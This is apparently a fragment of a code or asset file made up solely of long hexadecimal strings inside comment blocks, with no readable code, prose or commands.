9fff1190fe6210117dbdac4c53a26f0682aae2e0b95fd8c754c29464e7ba9f021aa953b5c95fcc578180c9b44a64da035443d93f61714c6d753e1b55f668d97405bc730dbd9a0d6c59dd8c709cf3c655103d3415ff8720d8c4289115f143a0fea771c447a10566cd4721746842f275bbef7414894f5a33dbef373d73cb1f01ff5f19159fca0ce69d14644a5676697af9a2d506cd2e7a9f84130017fd5c06ed4d8b210a1eeec59a73d58972c85fbada968f0ccd748fbfd7a95ecd2afaa10f738adab943a37b342ca54abdc74a00944ad52b59b276307a9d4346703513cc05c0fde42a835a1b4cf15a9abc588f1c4db8c2721737d50d8053762bf612f62eee9014c277bf14ece62d441c5246e2c03dd7bebd188b5d97c50e6f0eeb4266e77702f4318e449c0e87716249bb26b2a220d49ca2e7b311d61a9f25e1d3f328ee72785934cdf34ac191a1f2f3a387aa119e1fbe339983fc5500c7787017a77d46023a6f2ba5fb0f07e626fc80006df52b7536d6727bb4fed9e030786c558c66747f791fe75a51dc4441d723c9cbde90e69ba3f5664aa205f998de8ba63bdffa84623168971ae4e6e862651fcbd7dc5a390e790745aee3ced7801cd9e72eeb9caf90b836fb5b698a9a691d0c5ef8e787d98d94e657185200c798fbebb2a5d8430016020f4db5cafc3b83aa785b324e4f826e38bfca85acf86bc3b814c9cade4b38a44a8a279ab8c9965a9af38ff54edca5f7e4043bdbbc594e96d49852a0bfa91ce1874f3bc51cbddc95edc7702da07a27cc99bd28f9fd57309720caa5f89f895353b2ec515fc82f8d854cfc8ef2cdf24df1b09236260c9f914b4f4ae6c8a2f25cf9b54368273be61316534628fc471ab23f9cb8dd64aa84b233cb5a0f38c99ed6ed9d2ad5ea5dee6e3fb1f6b8952d805951e2250e80db61c331dd7574eb9294225dacb3d8c3049322f9a41b57609a54c68c37f972cc72915e6e50e84178a8b2f3dc6f61a9f623ba3bcc1c0239e022aa974ac819efb0ce7311caa8ef97b59a1fc86856986fc86f0900efb416838ca3231ffef5de04e6ca33e3e157f3bcb1dc2e2e96f95fc085130a60e427e9707c1c7d95e53f3925ee7f07b6364e5ce8eee28777988d5324adc087a135498bc21aff550aa33e120c0598e919d378bf4180f2e361f05d2f45876e571ae5021d51cc644241aa47eb53ba0ff791b520796b0f595031f5bbb393734eeef78144e7db2e425dc99a8284ee32dadf33e2ac374030af52420fe084efac3cc8729c7d4f4e78dd54d76dfc7c96d29826df0ef8282346df2914dfe1921eabb56a0db3828252a3051191421a209f50b2da97d28293ec4ab724369df79d1a83c85a2e42890c0a7947bbb723e27e274dd70e20461eebe6c4fa08e85b7f592c625960b0a1adec1021dcaef3ad6b5eb061ba8585a3b1e38fd95d44cbe626c29eb1bad6b92db384f372208f9d13886c3250f6ec0c21c9f7f1980b363f5c47aa03a16e48b6cd73c18227c7b50e410d6086c604cb277a74d727663b5b063779d9afd22a06a189bdfebe3a87b83fdc0d839abbf51dc8683c37c2ec8baaa4e8e56845a7f2a125f88c08fac300d2a6652419061571c21f90475dc810eaa675ae7546a6c919f684b08fd7183a917b8a9a89c597972023bdd605fd2977620bcd3fbfda5ae8e4e4a6cb75ba616717b0ee8509144b9aab8cd9fde39c93afb2afbc008ad5949834745a41a855f7a3e56ea39074949991e604e184d72ae43f40c0aac6ac9218f7903d00f309ff2adfb35e417765e9d861fa8c6f3b28870fbe221450cc689a82a2be1bc828bf37c544fa5cd8c5e52bb0bb1850041f06a9c2c365139ec2c0cdbfed4bb5adf9a9710f62629a9e2f0bcf76ab7c6c8f36a2aa3ef0f81f661c233e672668eafa89e5d681a84b39b368ac4d7299ef353d2ad5c6936a368728e801ed32fde8f3e058977db78ff80ba65e792cc4f6ca3b6fcf15474fbb352a79b4f3bfcb29eb3f9618ce61e10425082c1daa05d342ca4eeca0d3ad39090fd44*/
/*440094139f16a451c44e9158db3d4fc0b7495fad82c4ca0181e7cf04a959457d64262796a93a0d0851cf232fb43fbf4cda65080d21dc4bedb718aab086f55f39c6f75d69b5392ac07c74b5fc59dd2b90e499ff2016ba86cf6eeec9ce4bf4fa634c2be8313dbe61104873050f13063c528b270012fbd5a8a4df81dc08a4045cb6ffb21bcd8f117a9497bf8558c840567828d46b3f3628fe09ff0aa8615f65e4d489587d422165d50d776a5ffedde8b7bd8a394c16478986255692de89da9141cfab93ac90f213cde2ac0e5c89a6c29f83c9e620aa1e5ef2d00afdabb6d6a8af82b98e33866fdac8cd7c4c4ad0552fa72bb4e6513a8e511f9d165d301fb25e74d792353e16401142e843cd8663f5c26dab72b52b826ff15643235cb08743ca6ebc41527f60a0289c9aa0594fa0670608c0415e0b119d7613bc3f6754e7ea9425f3f8530d23a81bdfc555fe1eda7dce3a120be27c1d63075cb24d97ea5c48e1e2b3099f5453ff250e3406547169c6d1f8048884915dfb253720cbd003a9cb2a4d5f63b48e3944dc1d0564f6a9cdbe85ab862be47bd98e5f525848cee80c149461586f2631accc047c7caf2d6b72344404af5b3ce2fb44ed8f1aa563e8326cef30c83b0739ce64e083afbad5d5df7f0598e6cc04b941d42bdb4b6109eefa4ebdad0806c1ebe458b0d4f2af6a5bce42f58aad90ca4979753cedf5b1ee4c2e7407f395b4c585963f951d849d966972e4bca8eb982d59a27f34fe0d022d3d11793ec4b12edc238382a1fffdba8448a1c7279a9fa62e8ed4265132ae3732020d55245689fe467310de152cee13c8c8017c60516624afbea0c18e3ac84fe0591696aafb576b590ed819f3f810214d0ae595150d93c81f72b086c9ffa445d4fac5ccfd29aeb9561aab5f9f6f8cae6ba1ba9cc4dd21c4e4ac406d1e754b980824577149052a9fca838ed0395b96c9bf5b5a2a4be37976b9d7dd93838959d44bf7790c1b25db1fe43a6ae736d636f73b41b1af811d63e4ceee2ccf90e6d6aade0211b505f908f736c91b6a42d39b4e99eca49baa1b9c4b9e8e233f0846a7a573b22fd082e0f02ce72ab989106d50f592293a3db601b8bcbbe63a7c347f4c3f2547c5a0fbb1bb734b399cbac2b7ac6710c2fcf586d9b5f97f812b16365117617218e1bd206b5a4fc75c086abe1850696bc6ffad22e0396bd6b22420439254ec57ea72d67b3f4f97a618c90eae69f758dfdaf4d99ac144cbe613fe786ff099bca29095beadb64ae30a4d7033d7bb1bb49dbff10e01e40e062993b372fe5fdd86cdbb390d6260433a5263f6bbd4b4e38e22798c4bc1084916358aea26698d1c3d369fb2b5a585b187fcfd98799d7cf9744ac78dc3c37da339783aabb54e87e686974c110133da198ccb6762c08e3393203b8637001c7a183eeb7d2bf2ec739f90eee85d90b9ba0ce19fddf63a20c7139e0757b7e0d4e58572ceb35720a93530b3b985c16c335b6db3d40898b408a80b762aafc790ac93ea0597f3bea242f18a555b1e6effe479891a6c9ebf810e2cd7c98d533ec9203c7b6058f57b674ea2fb1f4fa0166918d6b787a13106f868a745dac166e38086d6336269cefdd6cd4d284bbbb510c90a2ab15c279da007a1774da881a1e7a11d524cb0880ec4dc0d0d2704e6e602cee5f66e8d684da77e5e13a72305ae122fb4b9fea22a160d27e9d7cd1cebe5ace5c5c5ecbb55ded6623ba2ba7a6072ab27195037c1a7f840052591b306af814ca52f71d3853af757d96599611c2ddda8faf7a4ae2e78fbd6300ada40daffe1242b62108b9d05b51063f9c6a367d7cafa227a9d3f1421e19fe443faba291346c2c4888ef4f2f21a12227f4ec9f29f8cb0d7353a502d726c019451fdc707fa344ef9f4e5762bf9c5ee193cadb2a822dccd8446d3ce5d574854c582057fe430bfa970ddf6ef71ebaed5856002fc85304d5d239d23fd3d439562ddf7860e12fe74a13fdf1c281f365192fd62e14af06553f0367cbb1217a544322fcbc49ed4cf83a133008e6d16a9d97b24e7429b0d1d7d20fcf7e0dd2116cf38e6de72f84e25cccf3e12b8d68a0002a35b0e043bf821fc24a9d09f0bb4e0c20ffd94337796324dc9c399c1d7b927aa292e1a65556870b3d1ea02f5187f373755296e6c1487335797331487eb9d02c82bb5cb3838f8bc74f651867672e65d25c07c3d986ae6dfa40f8e44520e08eba65ce12f84cdeebaade8233976b397bf9b6c3c2ec487dd2e4afb58819889022c51fba24b0a6fb4a1b8ddd3756da620671bee93a4ba13a8af1dc84cc0c17d0f8d9811d1f3670af77a1dca83e9a7a94e66ff52b5fd0062b6fef10b987a9247d922af5e4e19bbfb437b7cfd20d8806b82614cebe694c37802a68f9c4ba3fee65ffbad3250492ec7010c462613f5baef9c11c2c642c6f8f83a09c5062ef72b166a2052a74b902b24194fb3a36581fe81c922ecab2ed7e235fd18f06aa8eee5f1db666402021410c8802b85db81799ec7574f14fe8072521e9cc9c73d809b65c1b01b6ef4e31205d8fd3fec6003eb9666a386acc5431e93529984d266fa25be593a778f29d7aaa4bb8dae99c79e5e964c092b4c28dc333c4e75709d586da7428b26d2e5a8affff60d195a752eeb7e5ed50ced30bf3cc876454cb200f9745221aeac71ec756eb30193c625c2574194525223ef8d2d133aa2beb07aa0fecbc40aa1209f2ff3042d706a5048814f31b0a84b20c6b2f68e4e30f0eec6ddda901b48f9ddf3a9fff113b167a9149587cb56f0f09b31ca36412cfe53adbb590e6dd76bc3850c04f49ab6d6231fe4e58502810f4c*/
/*a8d54a0eadc818ba65d68635deba29e61ed25b089c459b296eb8f46540c798b3a843f069a18196d64bac6a07eeacb409d6538adc358851a241ae6485e73267d8e19cfa0155ba705167d7daf84451e5671803a5847b6f508a9c01017daa8149a3f1dc99b8813207d8321d038f2947279dd8dc2e4ea3f07ea88fe7ee05da138449070b2ebb847cd325cee2894f6687aa276ceb442c1fa5ecd449534373aa62dedccf5f9dd49df18a4beefc771171422d3f3f36c974c1951333273c8aaba6fb26a14df3f0de8301abc081d805a75c1d4ba4e7897f2f582a562e59ec9a24eecc31d90137275dc24130ab072fc83e9d7927aa6900377fd9ac4bf67fce18e70b12bc764b9e5c967df664ae504f7374eab03e132acb0e446116811f2eebd311d4d04ed563a4e7351441dfdc4475600aaeb10bd431797b7c742828767c67c0a9001f67a94902a76aecc0ed99c6c9a91130d07921ea85ec7edb8177786a1ae13416fed06107d980fc2539510ac02471adb26a3d07353be70feb2696e753d227f454dca1ce9dcd7f07b492dbf35e91ec33963fe73d8dd8ddd23a33ced4d1ddfb9cbd88fd478df49ab2a4aed39f2c7cdde0ead5a13d88605c3b6070d57946e95cd610ce6b1d9e024009e651a2164bcd5c08c05aac51676daa454332e47dcda6b3284bfbc3ef349cfb9920466031161281a5d44a929af0825b9612a5f749176e20da2c16ca25136a51f6e2bf304639177ff46d501e4fabfb29f0b258fc8a46128679aa162cb5afbb3737dc72ed6268b41a6e0341d84b2b3e266967f553ca49886144a5f66003eebb0f1203bdc59ec0608d4c5602dccb1ab5fc3e6a9afa5b0f11237399d6a337f7fb2996d58f211491703b9792498d1d080e933dcaf9490e442cc9c9ce4d0113dae86ca0b730560d0e954d7a3cea5c0ef5b6953f7ec28a13df231e0a57fe91af866c1fad4578b3265b05b0fc2a82709d8a79398c0eec73865e7af8c5593cc04eb33496e609d0fc3c12acd842111955f3cc6c2a6d554a5a80c1bff1e73ad5009fbc280ff24bd4db51f6ee8d4ef74912bfa5c83b2f05259e04e8ec5eb1a03becfc3f87bfd2c16eba36a8140782ab3218a8f960bc6ec00874accb1a9c1641cec67bf54a621f127c724c4141737f01bfb6685173a53a0212e6060ef1a8dfd6c07278a0bc06867b3851867bdac502bd68954c09aa8be282df68cb5331a9cc56cd4a664979101c6c86c760e01e69b06af54d4c6a618f39c522ebf4448fdabe9a40c43d980030f4aa5d8e7cc3e419b1bb9e78251c6edd58036f78d68374e8f6bc77e8372b3d8d032527099b3ea704e2df4ca717e7593e2cfa1ef816ac5a4cc0370c33939f3c11ac935335bc78236eb4c9112b46d198f9f71db81c64e341ab969e4f81de37c35ca5cb7002a71b934054b5609ffaab43600f3bb83d80e310577562d9ea94434cc0f7311cab901faf05219bc200bcffbba3c58bb298668160d518ac9f1ba64777d252bca920655455f71a1203f5f4b776e572f7b705bdc8436b4110d9f4d29e160bf3e5b4e2a9378fa786fd673079bdbe67a37b7142247f46bd0be7c3570e251f4ab083c01e471685a5e64ee5b6c9fe014afd43dead48c6eb437045168237422137b0b108a56ca22db9e8ae8705d8280009562314cfa0db023496280e171e89249693e9aa842a5dd9a9c02ab792cad9548836eb0d3aa5ece27a604a5e905f6ff5739aa6bae90391496cd6428637fae1e74079f6983c71f5ef197de90cb806c7d08a59d1c4abc4b2d1c3e1743f0082eb932213fbfbb5577511ded8f714978dfa2bebeea998dc418caf880f8383cd2177c9cc5346de3d8e4df3577e4fdc433174fa80adec98e9eb35045f852ca313a3230ff7730dd0b89a2c6885b62d78c23778c5c6d2ef0cea7acedafb23f62bd595ddcc43040929ed7c6cc7573671cab9507b4ff643c01bebd4b984d6dbf8f85e99a30f8f7a948a15729026837d9d80d44b75c0cc9698d15b8beaf12df4a69cf05e0968a5ab53710a278931eb10f501d713c0562c8930de5a7b4bc62fe1cb56919d868dc5dc6425f2e1fdf63ff7a07719494eb2b0d85e21f90442c28ba552910392e76ff1587646e1accfc3bbe2b374b7d93026162e81245e010fba34bc67954244863803c0acd9143ae6d38b83e04ad721b807bbaff8e2ac85270965df958f0e35b4d10213d9dc2b5ea2678af0537c7a04970561e973264b47723ad2c723aad17e34d8b29d633e0c16c96e28afba587b1ca3bba5bf0ccd5943bcfe8a2a1c494e543b59c19afdfbf7720b6364e442a3a009c03a03766a4dbdfce77b19586612b5eb633ffb2fae24e0d96d96d201b355269273321a870fd37193a0152be67d5e97c38be3c4aafb0f47282e7d608e14e007c9f1d73e1819ea9e4903b00d7a4128fc44a4344b41d1213fee167bfd727411f715190a3493877ec7dc427bac5e089f8be7824dc471b0d055e8b50ef78c226e2f7a1d5620c17aaa6ab37c8cc858809aa4ef7051ee1ec5773314b7fe630613494f84e4d0c06fb68599fbead998a125076e6591f453b13b557d750c2089a202cd75819e8e0499c97fabbb47af940c67483ab9c3b8e53d6f3b8dd30c36837b6804db97597d94b44bec109a98412730e22f36dd45c7dfd4ee9c53aec0359da48d439adaa3d7d105e990fd4706e2eba7b09da70bf09db0131d2845993e086909024a8ed3e2f00a1845a28a98e6969a8e147cbbb207eda6aeddfd169e0015b47a593803aec916450423c2a342e66763db56543ee985aac3d200235d4c0c8f9a6fbf883afded178f782b87e0b36da5d920c6f89031*/
/*7225830f33b9f5fb2d36ad6a8ab904eea3a6f03e0680fa098631576c3b5754fc9b10872ecaf390371593d65e249278e139f33276ac987f6824c0ffbe320f237c80b584eea3b22f3fd8983fe675b31b3c3dc99ccc42518ae16b7c6120f7e50b355645d31e702e3a2332563a516370406a9d4b290a6e69ed05f678e595ff3b88b2f45e7e7388711f2ac54c8dcaf46f61f8131d876b4345cc84186d6f21e7ce802f9861d47dbb9580a1a10f56698ff8482b90d000a9af5ad6f493f5153b831f6683c23c78b83488c3a05ab2c72ec8733e4142c23df65ad82d946ab741b27cdd5bc17eec27e533655449ffc2ccaa7952c4663e8c122c2ec4db264df7b37825f188ec7c3cb3995bb3c1868cc0dc23e9921312a8bde9691415fdcd4eb89cd79cf834241c0fc6eae237eee0344cc8e53ef3231098fac1cb595b3cf88b88f1f96a8ec21655511055123bff10cd225158b81adcb485d5de53a7cc749b1a00a7c904b3b3939084b35713825029d49d468ee0fc2b5c152581d849b8218a3d7128a0a3071474a6d27082bf9952d63098c5550ea3f7104cc5bbf5111e8bc3ab315c30bf5559fee346d6c84e06d2e82899a6d06f0e9d4e523df4ff787b750d4d5daf778bc023026b26b45e934d655c1e56bd533fd305d64377e903cefba3ae2e51451b099ec0a6e18173f802d15f005e6020af66dae884b0fbf75cd4393c1c6d90f3485a3a30f1578471be4a4639df862fbf9ac16cdbdaf2f7e7ddf5efffab2896bc51e6006148522082fdd12ff92c4e8fe4ebe7e0f7f8625af758ab19f3b2c7325d3ecab37e97890d54ac44cacfdda5e1a1c4612f7b55a2ba1e23e1c629222b8b4fda6e0b96eef857e4546bb222a0d64edc91ec3b5ed240936fdce18cf8eb5cbc798cbe92284e497dff55b6f550cb932a4cd6aa2ec61e0e625c0753ca527eec02e401891be1967eb84a12896844766299f27031f6de683aabbd4a42beec0df1ff0e2478555308dcd11e513f4d30524e2d354767af657aba5aabe89eee0e5a5e76529b5c128bdad69d394d166e1d9148261298561a0c434b82b5724f290ab0b8d41fc244752de40d8be48adccf623a2ce6d7a0b4ed05370928fb94b46a80beb80f8cbf0763bb3275c9e3027cdeed412bb4cfaaaeb60ed6f01089cf9bc5f34bade05101f13cc4c4d48d16abdbb15e3e0741f2edd170c700777be55045c6f45c6a05bfe96d2e7a265c564548dfde5a385bbbdd8675d51d51724ecc2ab874c5d75d751c15d2c4d6e7061e0045f3bfa8e18af586e91843712fe936c41cf7921f05bcbef4ea973e18aa67b5b1511cad98683a443f1f8897f5f2b3f5326c19213dc703e0c58788f4ebce0d222f5559ad576a7402f461d9cfc99f6ebae998f5354bb714d26c6b960dccd70ac7bb5497229916a6c04501054a737fcdc6f8654ae7fcc4499237ec94432d10f3a49f3ae0df3542cc39163d20a8cda79b76464654f690ebe7370d92e51314e7da532a6c7134149cac8cd9194724986c50e507381782e32a93cb085046020941ed47408509a2bb592147cef6c89ef01a25ae701e58f6db00526d76e9b83c7b1033d10e109a48c4609c7c4bf8c84a503d86bdba948d4df1f240ad9b7b0122f7e3040e41eda24e186c79124a05553101112122454e0e231662f81d766d8589d3d0fc27747ba4b28c6a40c8699bb4115a7af6bfc4690fa4c18aaccdd5c83982af35c00b70ab55dddb2716c79d4615cd11db62bb34c592bd2b42a75a48aac5c25ea81f70c2572989a9bb4a81f3b296cc097f2972dd18047c0d84f5081654a485a2c53a7a6de558c1792bdabca04524068e00d2eac5c5a5f76c28394810e9fd7d4c530985679b03f68625c3c2de76e77bf7f1e7e253e8dbfd06c0d84c7c5a39d2b45f732329130b60f079aa3ea9ee378b4e23f360d3c66e0923a8d0a3b092ff72ec1e5644908bcd218745ddc062c94652d1221fa9688e6755c2e8d216ee89bb0a456975707cf6cf6fb843f8793215d5d7dec749a050c46cf732edbd9a0209e88ff8b9c538a2378d1f4d47540c5d2e1180e7cfbdf83309ccfb96655afb139c0904dc07d8c033c650743400768dd7dd194884a2c70467423389ecc812a6a350318cb9f92909546114eb77fa96c9d1bd2eb377020a65f6196d54e6ef36a37eef9585998005377811dd4e8f812c1c0e0e5741a802157296dafd238183b98110acf68533f0790decfe138d74590f04e616c1098543fc7981aa5161cf096863614122eb30f73800d6db259475f1479538b49c328cf1e239a41cd7dbf66919c0741555821c7f3bc0e58cc2fa9b0d4b08b4760ff3cab103fff95c0bb1546f1c169b10db553f8623ecc581b63ede016004d5b382c48b6668f715bec88018c2fcae8b976a80d5612dd14f7bdea36eca4c507e60b0c02b3c97876b792e4cb271dd98c25937a1b8f5e399d72ec739c6af726e23177272447007c9eac3058273efc51fadccc4a63c3aa944520c964d6389ae7baaf9a86a9429b5647b8e0edf98a36de7c644b8ced1f422183acaadd6a8a6e72e66d8a422f3fe70ea98f0877141351aec945706b10ba8a5068f0e85c0b6763ceeee1ee90dadcfb08ea271f5d7460016ce8e7b90f718aee4af716f07b0f48f27e4eaa6b4a6900384e115d5375f9561f9deee4e6e24382ee06344d9a1cef31abfc8e302622d8b0227472a050188968095a4fddb978ed591ef3e06432465f52f5e319fd9ddd22d9780b5158ca57dc6c53b98b5c24da1ea0896f487ad6671d429d8c475374149cc1f92c847150932d68db32d6d68e17efd95cb91fbb51ba4bd341d27a137d7ba4bd8*/
/*5ac1f2ab8d8c124bcafc3bd81ccdf5a6eb7c37e2733fb79a7e8e075a2799f4ce786d9d25ca7d58c27be896d91c557c3600493aa35db07ac9c3cd34cca896955463b5779d9114c16805f94cd13935a47f5c5018e309a76386ab744fc99ca11a3667cd6c41690bb856f73905b6e03e50ff9adeebcf897057ec896639a7f3ac207ecec50cd64882ba739e88800d421679c17d357598c268b6c28c39583c330f414f2178e14da8c503284dde7e0dd3f60739daa869f6a8098ac99f8dbb0fd8b5be7fe393fc81283730afa2131131bcbc0467dc74b401705c4656909175b869a7e29e71227e7e9cea8667d360a4f940f1e303f452b0455ab342cf2d79d069d4310f36ca5ee4377d8e5e3ca00a38ea5b5a7ceb22f191ec58d094d2241615a5c6b96f0e07c43fb2a15d70d1bfa70b97dcd09a885e6228dd6e1e23d3e99ff35770b25e58f934a8f419c565489729ea614271bb77ce1125da09a16afd1d1b7244572447f4cb29c01a7a749b0c43393f030e83c868adda7a29ab0b16844b6fab55b3eba6aab9f9be99aa0283ac35f6c45a52ed5374bba30531e3624537b538fc29cf0db7d7155717ff090ca26901fc81577c3a0ac42f72e4c478cd02f863f3cd9ca200d8a9bebb225a2ff883c3c3134d37a0915e71d00f6933680cdf8ebb868a0a6e4adaedae0cd6fddd6d94aff6b1ac2634eba4239b42354a20a8fbf1edf2cfb4cdd07667972773f490bc78920350454581e5ff6c229eb50a4b30ff129fac5c08ec679c5aa0819d3ac77f59efce157311dd30b523c4a3a8832aa6d8a75fdc173c3b273092104a545985d62b22501b35e4d80d2855cff7a9f48066b2f9d991977e59c2cfe1e04c0912f46b492d4cafdc5daa24ee75bd819b7a0bf3d715ace3bc55470eb176afea38a20278ab7e7830f855aa72f4f08565cdefa5c7f014303c2e257577a10ff06fd649c5baba6633941b0edb2c0e950ee3c8b37b8d832a8667b0d1d93fbad4adb1b4911cf392f83431c5a949c950b5eca2be0f3193dd615893ebf992cc9e84fea7e1bf1a53093156d9f07585ec30befa480c3a5974820d964efe7c6d62419eda2f0ab2002e2017e3b1a4996d8457c36274098b051f7e7b18336cd34196677fd58f86c73648d49a1bb7bf23c62a5c7ea7f4869502d2e26d7f2306402c517974c2cc960196a7a4527e7fc50a7f80c45e367a0fd9cc59eee3a2f72d0c092922b6586c6996e10cc772703ae9505c0f577d2b94c8d81df980bf495cf3503c753efdd2081e3cc5e4298a7a45da6fbf53ede1cf40f0f1453c1db744c129801e3b38bc83ec778bcbe18d6c9dbfd86ecf1fe28723d13153aefb37769c0e6dfd921177520f07372fa68d82516c1435c0d1fb89dc6133109d53c29e4d03dfe9d2df988eb7615132bed1deda764e35110485838791e3649738376fe65e96394c0030eb0cd57b6467ed5ca020bfb8910c7be83087921f58f6123b9b6d0ae20a88d8a4e946eea0c7d13866f67958d3f3291e24fdbe63189e183102376672dd432a2ddc7a103be5d8346d0414f2ff7b05ab0812921a9f0c42956f42046ce0b9e3af7c9a615aaa5b9c1549036ac856198f7e06282e47078d9626fdb9335fcbe92e9c43bdd54603a8d9e63fa68620f06dcea17aa5143c54a6f96d60e336330143a1499540ba76e81f2c60a8fdcee67d3c65da2dd11c8b9f18b34d67921417c11e49cab52423be167cf4d81a8ca9ac20161e05bb89c7d154a780b3502674c560a58e2e4ba96c973a7bb0506d91db46ccafe3eddb5e1fe6973ce07348bf8a2ecab6053ab878c8198d936b09160abdc4dfa5255488ab38c5a6cfb6365febbf84a535f3c7c32e2823c69a571a9f292f85741ce962158170a64903a77e07ce95fd7ff6844250384daa01734d8206dbbb9f165a42f15c1811d79ea57d35bce5f4bbbb55b910d6a3d7a1ac7dd16e5c7f1e17c8950b3093ae19b922f5e2fcbe63967d923c1bba1f7a775218155f736032760708dfe4852b227ab4f236c47f6a33d7f9b39da104dbed0738cf8df1911ce13a68f617896e2467cb6703a171fcc38bf0cc1f74acc8349f50f00f38831f2d57415f301848258a86501068de0c0c33d25ee3608222c650802d9a208c96d1a8851d42794b68fb2e6985f4a5d69f23118a461be95974453f542ea57187007676858f6741046d1bf84741a4e2f25c2adb01e8a97e839f0d10b4fbb63396c118bdb140ea050625895fd83af17948cdbd809d5f49041fb55d8fc2be87048d52d3c2bfbeb89ae922300c61caaabcf30ab58ba048fb4fbd573c2d8e48cfdfd5ef88140e4be5be8dd65ad2ce0dac61f04c3d410dc0471f3b5861e3b87771f4784c236232e085adbeb90ef9a34097ef079dbe7381ac1f517fe5d1dc23d56496b23bdab28bae818a1f5dde1f17ae2ab20f2997cd3844212e84f8642758385c6c78e067a9fbe791dc4e4e1be10b7734da5ded6091638e1511b0eb8b2adee3ad4b665600dd4b8de57d973844213505a85e1369787632ca98304d2a5125771a0fefd679cf53c85c00e8d22a321f4fb70f7c2c3c43b5c775b47da1926d0ea5f09b75c1319259c85394762e94a45bf530f8c745ce1a6a0c11790610513dc3e915de59183248c75cfdf252809dd2c0ebda105bb06cba00f913e1d843753b67f66cd2fb6d375c16e4c2816bdd3830b4fc84da716761c08df64a9c547d6229ab6cfee86f33fb30eddcb051ced3f564968e1fc7b94a72bac19c477d3dfa75c21725b8217ba692e5860c277f1920ff75f286b5c7a912e257c1c1ab5280c79c0cdca33882de6e3bcc36a50127952449423bc71a0ede*/
/*b2befbb42d386c0fee23002f66fc6d50af886f38237e0ae1fc247d09cd400486d7921e6b574fb72741ee2bca350485e1e39dfd9ae07b77fa124c3cf3e15f493fb404d4ea0a700a9931a8109c47ba3ba33dbcb7fe5fcbfacf6074ac98678ea57954faf8701618a60ce4a42a0eeec920d0d1f7809f9885d211d88cee8cb0091ea54b2e148e9cbc711a5f23c8b694c87c58d69ecaee7a22b240168455685020577c4ed421ebfe4115fa94f535953b6f4a0f036b7d59881693911cd80cc993c629668dfb0e905c8b23f803d6956ce76b169bececc0644251d11c70168e3c6a20ccc0f250ca9d3cd8220d3394f0b9c1fc26cca86c495bb8dfd215e2c76c4d7c3cd85d04b4d77dcd7129ea644eccf03e22b03b55854f95f148a051029e58fb13cd5f2769283762d72e83233b8b308ac9d3724ef6f0f99bcf0c2155af68a6154581a17f3090238f70824cb9fc357184d54738f58d725622fdf34e5efafa6d565533db8c06ab7e8ebbbb43557a96130124acf582ea8e4114b9ed5d24fd115b580e9cf844bbb54f6eb24af2e2c58df675d59b76d833da9b67c74eb66138216712d826b8dcac4856745281763d132b045a22050306e4eab86fc9883e51ea42c2e59ad26687dfe580a9412bbbed8d0556132a991b0fdb3323cc0a8cc40b6438f79c98985a2cb7fa8fa938cfba5cd45f1a343fe8813f22511fa554004f6343637b6aa84d541ba452f4b0bcfab5d5812a526f31d00f30261952e7ff998ed6b424ab053003ef84b8956aa4483f52ee7e436bd5fcf82c3968149c1e317c066a74310d8c8bfc5a51678f8ee272017f08c674d4b9106c0e1560734f61a1174797a1a0fd60b32a3b2f293af32a92350c2535a3fb3c19088ebfccb84308907fd00ab7018d880335e156012897a8152171ea8658b19b3a9f87df1f8f303a08c0f351b0ef924a2f840996b9cd2b4fe6b26e7db8018ea92220c814367fa4f54a7df791c7b6d050aa7b2171fda24f3872840de00ceb94a5ba82274e5b95e7ead862d4c2e46b385614b4248dbdeedc056cfe94be3b18c844acacee980ea5165d22881e5dd8dfef801536710088184741e22d293956d71c78dda7d2ceac2623457962f930a3c6f0a6c5aa8d6ce8fc6d1bd0c630f7967643da9494c3e35242717bb712a107934e098242ad9eeb0d820199aefedbba62dc8bda41f3862cdbb355bf5334e6d859d7112e680849846ff1a14d02189bd9a7f75d3ef999a79ff46496304915f9bf5ee363b6223d8f45ff5dcc5b230c2f0eeedbf22dbbce90e92e3c4d680a651b61f8934fcb62e8f4ac0c627a21c13257a8a871b0c7a22b917f887138f6da447d3d32fe5d66dc901ac327aa34dcbf5633c06e8fd1dd85306ed4ede1bdeec3f26beb8d84374b94d4d79943bc275c7a7748a2f1602ecbdc00486883fadd08420467b002fe484098b80eb3432825729c63589af4bbd5dd0febb559cff424ed3c72664e1d01dac01f086d7ed1407036a82871b47dcb7886f13307d9398cbf55d21ff01fad4c2808873e67d128643568a02c7edaa4b073b4d98c426d99ffa870a6c02e15abc23d128d12389a9dc6b000e55e70957c65328bb297c07f353cc443236bd9fb45fbfb5a7ab6388807a158212e21e44667f4b2f57877bba7794e47235226ca1877ea79bc7153b2f1641d01746b9ddbfa7faa07da5e36eddffb70eff3da05ed133db23d322efe9c307d6a06e1ab8dbbe1381931c3d99d04515919a584691ee0952e3e1e7ecf059383f469f04be159be9f04616e6eae95d4e6f3cffbb6f944918a4b070af3dc983931667828d53f52ea2350d6cd8a75abcea74a0097c71ea2101bd06cd971378f171620b41e5e5a16531bcfd007277ec5ba99df5333f92f9a5e13c67bf87c8ea6200ab002b10c3b16b2a426ec7349cc3bdbacb7be75c7098c832118b16fbb2db292aabe41f21226a289734e1fb9ecdfdc5e12caac04a05a30a18fbd77df40cd794342e3f340c5eb3f3ce4f2c83d1a8fb6011ce9a7e84bc612b49e28aeb89e34e09a746312a714a0cfc48a844c599619ec1103fc07e8434ec939aec3e6da2f4983e6b378b5d1dff25fb95ccce131a6336c02ac665e0fc89e448225215aafef9afdc9df7566ea893e24377da244606f39c64c75a118ab99af55cd847492c944c953ef337ca770b5c14aff4f618f22ce96bb1c49b95330fbaffe69c6d7789f27e2dc1bd288c6f992d1a1fb413165e6010eef62d8e51a2eec822ab4f818d8cd28efdaea4ba7a0eb6f83cea726a69d85924bf1d4e73de26dc4039c34061c52978f5ac995b99e1e93405b1f74fa8e810cfc10b337f94c053553c0369f6d076942f9c399cb0467109d772d26a8f99a896e7a04873dc180b1ad3764c1652e06a04c0872531e2a94096ecc2f9edd8af2a7d58c693dcf7a3b12e609dcbc6dcc4b39c32cb4e460f7e57f9d3bbb8c9c10c1023e6c8d85d5eae203f357b65a463f0bf5113e382948363d6ef935c372cf02b64256addc957b28b0f4faac835cc1494444e5e69691bdd7ad19bc989a4e201a9d64e9856c37b9d43902d9b1a75a118264c8eb26ac7b85c05e001852c2003278a7ec3c72290dd71b0f25c2d38166c85078501088ab89a0854ed59e0d4104bb7ad062262f7535e15c311fad53c236b5eaf422aec864a8e5a6e043bdba016b8a42290b45b5c188b8650f728af5fb0e36be1d75e88122b92fe20b2709c5aa8b93624512ecd70f7e81f71b592c07f1cb4b513801cd9e55a829b9e803a7d461a4a4417b56a6c0c040ba3f2a6ca568608db4774f6049c9d950614f0166c7c02c5d18fda233f74892d82b41*/
